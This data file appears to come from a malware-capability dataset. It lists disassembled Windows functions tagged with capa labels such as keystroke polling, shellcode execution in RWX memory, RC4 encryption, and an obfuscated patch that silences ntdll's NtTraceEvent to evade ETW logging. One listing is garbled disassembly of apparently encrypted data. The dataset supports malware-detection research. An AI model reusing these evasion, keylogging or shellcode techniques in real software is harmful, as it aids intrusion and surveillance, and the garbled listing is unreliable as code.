joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406e71
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x406ebf
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x406ed0
push 0xd
pop eax
jmp 0x406efa
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x406ed3
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x407bdc
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x427520]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.00406e30
mov ebx, eax
cmp ebx, esi
je 0x407c4c
lea ecx, [ebp - 0x70]
call fcn.00406dbb
mov eax, ebx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040f62a
add ebp, 0x9c
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x407c64
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x70]
call fcn.00407bdc
cmp eax, esi
jne 0x407c96
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x68]
push eax
push esi
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x100
call ebx
test eax, eax
je 0x407c54
lea ecx, [ebp - 0x70]
call fcn.00406dbb
push dword [ebp - 0x78]
mov ecx, edi
call fcn.00406d60
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.00406dbb
mov eax, esi
jmp 0x407c32
Function at 0x40acf4
Capabilities:
Get keyboard layout
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push esi
push edi
lea eax, [ebp - 0x78]
push eax
push 0x1e
xor edi, edi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx esi, ax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
cmp si, ax
jne 0x40ad3c
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx edx, ax
xor ecx, ecx
lea eax, [ebp + ecx*4 - 0x78]
cmp dx, word [eax]
jne 0x40ad34
mov edi, dword [eax]
inc ecx
cmp ecx, 0x1e
jl 0x40ad29
jmp 0x40ad4f
xor ecx, ecx
lea eax, [ebp + ecx*4 - 0x78]
cmp si, word [eax]
jne 0x40ad49
mov edi, dword [eax]
inc ecx
cmp ecx, 0x1e
jl 0x40ad3e
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x40ad55
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x427520]
xor eax, ebp
mov dword [ebp + 0x94], eax
mov eax, dword [ebp + 0xa4]
or dword [ebp - 0x78], 0xffffffff
push edi
mov edi, dword [ebp + 0xa0]
mov dword [ebp - 0x80], eax
test edi, edi
je 0x40ae2b
push ebx
push esi
push 1
push edi
call dword [sym.imp.USER32.dll_ActivateKeyboardLayout]
and dword [ebp - 0x74], 0
mov esi, 0x4269d8
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x70]
push 0
push eax
call fcn.0040f5b0
lea eax, [esi + 4]
push eax
push dword [ebp - 0x80]
call fcn.00410fc1
add esp, 0x14
test eax, eax
je 0x40ae23
mov eax, dword [esi]
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
call fcn.0040accf
pop ecx
push edi
push 0
push dword [ebp - 0x7c]
call dword [sym.imp.USER32.dll_MapVirtualKeyExA]
mov ecx, dword [ebp - 0x74]
shl eax, 0x10
add ecx, 0xfffffff1
or eax, 1
cmp ecx, 3
ja 0x40adf5
or eax, 0x1000000
push ebx
lea ecx, [ebp - 0x70]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x80]
call fcn.00410fc1
pop ecx
pop ecx
test eax, eax
je 0x40ae23
inc dword [ebp - 0x74]
add esi, 0x18
cmp esi, 0x427008
jl 0x40ada5
jmp 0x40ae29
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x78], eax
pop esi
pop ebx
push 1
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
call dword [sym.imp.USER32.dll_ActivateKeyboardLayout]
mov ecx, dword [ebp + 0x94]
mov eax, dword [ebp - 0x78]
xor ecx, ebp
pop edi
call fcn.0040f62a
add ebp, 0x98
leave
ret
Function at 0x40b878
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
call fcn.0040116d
test eax, eax
je 0x40b8e3
lea eax, [ebp - 4]
push eax
push 0x2001f
push esi
push str.SOFTWAREINTELDISPLAYIGFXCUITVWizard
push SysReAllocString
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], 4
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b8d0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push str.TVWizardSupported
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp - 8], esi
setne al
mov esi, eax
mov eax, esi
pop esi
leave
ret

Function at 0x40caf1
Capabilities:
Create process on windows

Disassembly:
push 0x78
mov eax, 0x41ec89
call fcn.0040fe07
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2d], bl
mov dword [ebp - 0x14], 0xf
call fcn.004014ef
push 0x1c
lea eax, [ebp - 0x2c]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.0040f5b0
add esp, 0xc
push str.gfxUI.exe
lea ecx, [ebp - 0x2c]
call fcn.00401d67
push 0x10
lea eax, [ebp - 0x40]
push ebx
push eax
call fcn.0040f5b0
push 0x44
pop esi
push esi
lea eax, [ebp - 0x84]
push ebx
push eax
call fcn.0040f5b0
add esp, 0x18
mov dword [ebp - 0x84], esi
call fcn.00401257
cmp eax, 1
jne 0x40cba4
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x40cb6d
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x84]
push ecx
push ebx
push ebx
push 0x4000020
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40cbb6
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x40]
call esi
mov byte [ebp - 0x2d], 1
jmp 0x40cbb6
push ebx
push str.Warning
push str.Install_.Net3.0_Frame_Work_to_run_the_Intel_UI_Application
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.0040159b
mov al, byte [ebp - 0x2d]
call fcn.0040fe51
ret

Function at 0x40d159
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x428af4], 0
push esi
jne 0x40d0cc
call fcn.0040cff2
test eax, eax
je 0x40d10f
mov eax, dword [0x428af4]
cmp eax, 1
jne 0x40d0ed
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40d10f
pop esi
ret
push eax
call dword [0x428afc]
test eax, eax
jne 0x40d157
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40d113
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x428af4]
call dword [0x428afc]
mov edi, eax
test edi, edi
je 0x40d138
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40d154
mov edi, esi
add esi, 0xff0
push edi
push dword [0x428af4]
call dword [0x428af8]
add edi, 0x10
cmp edi, esi
jb 0x40d140
mov eax, edi
pop edi
pop esi
ret
jmp 0x40d0b9
Function at 0x40f62a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427520]
jne 0x40f634
repz ret
jmp fcn.00412881

Function at 0x419c4c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00413401
and dword [ebp - 4], 0
cmp dword [0x429514], 0
mov ebx, eax
jne 0x419cfd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x419dae
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x421e6c
push edi
call esi
test eax, eax
je 0x419dae
push eax
call fcn.0041338f
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x429514], eax
call esi
push eax
call fcn.0041338f
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x429518], eax
call esi
push eax
call fcn.0041338f
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42951c], eax
call esi
push eax
call fcn.0041338f
pop ecx
mov dword [0x429524], eax
test eax, eax
je 0x419cfd
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041338f
pop ecx
mov dword [0x429520], eax
mov eax, dword [0x429520]
cmp eax, ebx
je 0x419d55
cmp dword [0x429524], ebx
je 0x419d55
push eax
call fcn.0041340a
push dword [0x429524]
mov esi, eax
call fcn.0041340a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x419d55
test edi, edi
je 0x419d55
call esi
test eax, eax
je 0x419d4c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x419d4c
test byte [ebp - 0xc], 1
jne 0x419d55
or dword [ebp + 0x10], 0x200000
jmp 0x419d8e
mov eax, dword [0x429518]
cmp eax, ebx
je 0x419d8e
push eax
call fcn.0041340a
pop ecx
test eax, eax
je 0x419d8e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x419d8e
mov eax, dword [0x42951c]
cmp eax, ebx
je 0x419d8e
push eax
call fcn.0041340a
pop ecx
test eax, eax
je 0x419d8e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429514]
call fcn.0041340a
pop ecx
test eax, eax
je 0x419dae
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x419db0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x6904145d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], 0x68f
mov dword [esp], 0x6904c040
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
test eax, eax
jne 0x690414c2
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov ebx, eax
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str.Error_setting_memory_executable:__n
mov dword [esp], eax
call sym._fprintf
mov eax, 0
jmp 0x690414c7
mov eax, 0x6904c040
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x6904155d
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x18], 0xc3c03348
mov dword [ebp - 0x22], 0x6c64746e
mov dword [ebp - 0x1e], 0x6c642e6c
mov word [ebp - 0x1a], 0x6c
lea eax, [ebp - 0x22]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x2f], 0x7254744e
mov dword [ebp - 0x2b], 0x45656361
mov dword [ebp - 0x27], 0x746e6576
mov byte [ebp - 0x23], 0
lea eax, [ebp - 0x2f]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0x34]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
lea eax, [ebp - 0x18]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10]
mov dword [eax], edx
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x38]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
nop
leave
ret

Function at 0x6904166c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [0x6904c020], eax
cmp dword [ebp + 0xc], 3
je 0x690416ec
cmp dword [ebp + 0xc], 3
ja 0x690416f3
cmp dword [ebp + 0xc], 2
je 0x690416ef
cmp dword [ebp + 0xc], 2
ja 0x690416f3
cmp dword [ebp + 0xc], 0
je 0x690416f2
cmp dword [ebp + 0xc], 1
jne 0x690416f3
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._realStart
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x690416f3
nop
jmp 0x690416f3
nop
jmp 0x690416f3
nop
mov eax, 1
leave
ret 0xc
Function at 0x690418c0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x69041920
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x6904c704]
test esi, esi
jle 0x69041a40
mov eax, dword [0x6904c708]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x69041954
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x690419d7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x69041940
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x69041a67
mov eax, dword [0x6904c708]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x6904c708]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x69041a47
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x690419d0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x690419e0
add dword [0x6904c704], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x6904c708]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x690419d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x6904195e
mov eax, dword [0x6904c708]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x69041ce0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x6904c714
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x6904c70c]
sub esp, 4
test ebx, ebx
je 0x69041d35
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x69041d2e
test esi, esi
je 0x69041d2e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x69041d10
mov dword [esp], 0x6904c714
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x69042060
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x69040000], 0x5a4d
jne 0x69042085
mov ecx, dword [0x6904003c]
cmp dword [ecx + 0x69040000], 0x4550
lea edx, [ecx + 0x69040000]
je 0x69042090
ret
cmp word [ecx + 0x69040018], 0x10b
jne 0x69042085
push esi
movzx eax, word [ecx + 0x69040014]
push ebx
movzx esi, word [ecx + 0x69040006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x69040000
test esi, esi
je 0x690420d8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x690420ce
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x690420da
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x690420c0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x438e4f
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
aad 0xab
or ah, dl
stosd dword es:[edi], eax
mov al, 0x5a
shl ecx, cl
xor bh, byte [edx + 0x39]
cwde
or bl, byte [ebx + 0xe25b43a]
mov ebx, 0x358ac1ae
jb 0x438e6a
inc esi
add eax, 0x398b4ee2
push 0x29
or ebx, dword [ebx - 0x26]
xor bl, byte [edx + 0x595a125a]
mov ebp, 0x71bfd86a
pop esi
mov ecx, 0x2b1adbc4
or esi, ecx
les ebp, [ebp + 0x57]
retf 0x6b88
mov byte [ebx + 0x1a], ch
mov ch, 0xaf
insb byte es:[edi], dx
invalid
xor ebp, dword [ebx]
fild word [eax]
add bh, byte [edx]
inc esi
jno 0x438df1
mov esp, dword [edi]
dec ebp
les ebp, [edx + 0x2ebe3ae0]
sub bh, byte [edx - 0xf]
pop edi
adc ebp, edi
adc bl, byte [ebx]
sbb esi, dword [ebx + 0x39fe21d7]
mov al, al
scasb al, byte es:[edi]
xchg ebp, eax
cmpsb byte [esi], byte es:[edi]
sbb esi, dword [ebx + 0x39fe21d7]
mov al, al
scasb al, byte es:[edi]
xchg ebp, eax
cmpsb byte [esi], byte es:[edi]
jb 0x438e36
cmp eax, 0x64df597e
push ds
adc byte [esi], ch
pop esp
adc dword [ebp + 0x18dfc51b], ecx
fistp word [eax]
adc dword [edi - 0x8e200dd], edx
or esi, dword [ebx]
push es
pop ds
loopne 0x438e2d
adc eax, 0x6f3f933a
pop es
xlatb
invalid

Function at 0x4bb5a9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c3440
cmp edx, dword [eax]
je 0x4bb5cb
add eax, 8
inc ecx
cmp eax, 0x4c34d0
jl 0x4bb5bc
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c3440]
jne 0x4bb6f9
mov eax, dword [0x4c7e24]
cmp eax, 1
je 0x4bb6d3
test eax, eax
jne 0x4bb5fc
cmp dword [0x4c3368], 1
je 0x4bb6d3
cmp edx, 0xfc
je 0x4bb6f9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb633
lea eax, [ebp - 0x1a4]
push 0x4c09c0
push eax
call fcn.004bbf90
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bc420
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb676
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bc420
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c09bc
push edi
call fcn.004be2f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c09a0
push eax
call fcn.004bbf90
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bbfa0
lea eax, [ebp - 0xa0]
push 0x4c099c
push eax
call fcn.004bbfa0
push dword [esi + 0x4c3444]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bbfa0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c0974
push eax
call fcn.004be264
add esp, 0x2c
pop edi
jmp 0x4bb6f9
lea eax, [ebp + 8]
lea esi, [esi + 0x4c3444]
push 0
push eax
push dword [esi]
call fcn.004bc420
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x403cf0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x224
mov eax, dword [0x489440]
xor eax, esp
mov dword [esp + 0x220], eax
mov eax, dword [esp + 0x228]
push ebx
push ebp
push esi
push edi
push 0x2c
mov dword [esp + 0x30], eax
mov dword [esp + 0x20], 0
call fcn.0040ab06
mov esi, dword [esp + 0x248]
mov ebx, eax
mov edi, dword [esp + 0x244]
add esp, 4
xor ecx, ecx
mov dword [ebx], ebx
mov dword [ebx + 4], ebx
mov dword [ebx + 8], ebx
mov word [ebx + 0xc], 0x101
mov dword [esp + 0x18], ebx
nop dword [eax]
mov eax, ecx
mov byte [esp + ecx + 0x30], cl
cdq
idiv esi
mov al, byte [edx + edi]
mov byte [esp + ecx + 0x130], al
inc ecx
cmp ecx, 0x100
jl 0x403d50
xor esi, esi
xor edi, edi
mov dl, byte [esp + esi + 0x30]
movzx eax, byte [esp + esi + 0x130]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x403d93
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x30]
mov byte [esp + esi + 0x30], al
inc esi
mov byte [esp + edi + 0x30], dl
cmp esi, 0x100
jl 0x403d70
mov ebp, dword [esp + 0x23c]
xor eax, eax
xor ecx, ecx
xor edi, edi
test ebp, ebp
jle 0x403ebb
nop dword [eax]
inc eax
and eax, 0x800000ff
jns 0x403dcf
dec eax
or eax, 0xffffff00
inc eax
mov bl, byte [esp + eax + 0x30]
movzx esi, bl
add ecx, esi
mov dword [esp + 0x10], eax
and ecx, 0x800000ff
jns 0x403dec
dec ecx
or ecx, 0xffffff00
inc ecx
push 0
push 0
push 0
mov dword [esp + 0x20], ecx
call dword [sym.imp.USER32.dll_OffsetRect]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 0
push 0
movzx eax, byte [esp + edx + 0x38]
mov byte [esp + ecx + 0x38], al
push 0
mov byte [esp + edx + 0x3c], bl
call dword [sym.imp.GDI32.dll_Polyline]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x30]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
movzx eax, byte [esp + eax + 0x30]
add eax, esi
movzx eax, al
add eax, ecx
lea ecx, [esp + 0x20]
push eax
push 0
call fcn.00401680
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x2c]
movzx eax, byte [edx]
xor byte [ecx + edi], al
mov eax, edx
mov ecx, dword [esp + 0x28]
sub ecx, edx
cmp ecx, 0x1000
jb 0x403e83
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ef1
push ecx
push edx
call fcn.0040ab36
inc edi
mov dword [esp + 0x28], 0
add esp, 8
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
cmp edi, ebp
jge 0x403eb7
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
jmp 0x403dc0
mov ebx, dword [esp + 0x18]
push dword [ebx + 4]
lea eax, [esp + 0x1c]
push eax
mov ecx, eax
call fcn.004019a0
push 0x2c
push dword [esp + 0x1c]
call fcn.0040ab36
mov ecx, dword [esp + 0x238]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040ab49
add esp, 0x224
ret
call fcn.0040f5af
int3